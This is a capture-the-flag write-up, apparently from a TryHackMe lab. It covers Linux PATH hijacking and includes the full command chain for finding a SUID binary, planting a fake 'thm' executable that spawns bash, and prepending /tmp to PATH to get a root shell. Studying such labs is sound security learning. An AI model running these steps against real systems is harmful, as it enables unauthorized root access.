PATH Hijacking

← Back to Linux Privilege Escalation

Enumeration

Checked the current PATH:

echo $PATH

Looked for writable directories:

find / -writable 2>/dev/null | cut -d "/" -f 2 | sort -u

/home/murdoch showed up as writable. Unusual. Filed that away.

Found the custom SUID binary:

find / -perm -4000 -type f 2>/dev/null

Most results were standard system binaries. One wasn't: /home/murdoch/test

Custom SUID binary in a user's home directory. That's the target.

Figuring Out What It Does

file /home/murdoch/test

strings wasn't installed on the target. Pivoted to ltrace to watch the binary's behavior at runtime:

ltrace /home/murdoch/test

system("thm")
sh: 1: thm: not found

The binary was calling thm without an absolute path. When it runs, the OS searches $PATH directories in order to find thm. If I control what's first in $PATH, I control what gets executed.

Building the Hijack

Created a fake thm executable in /tmp:

cd /tmp
echo '/bin/bash' > thm
chmod +x thm

Prepended /tmp to $PATH:

export PATH=/tmp:$PATH

Now when the SUID binary calls thm, the OS finds /tmp/thm first — which spawns a bash shell running as root.

Execution

/home/murdoch/test

whoami
id

root
uid=0(root) gid=0(root) groups=0(root),1001(karen)

Post-Escalation

find / -name flag6.txt 2>/dev/null
cat /home/matt/flag6.txt

THM-736628929

Why This Works

PATH hijacking only matters when a privileged binary calls another command without specifying the full path. ltrace was the key pivot here — without it, strings unavailable meant the binary was a black box. Watching the runtime syscalls showed exactly what name it was looking for.

The exploit chain: find a writable directory, plant a malicious binary with the right name, prepend that directory to $PATH, trigger the SUID binary. The OS does the rest.

← Back to Linux Privilege Escalation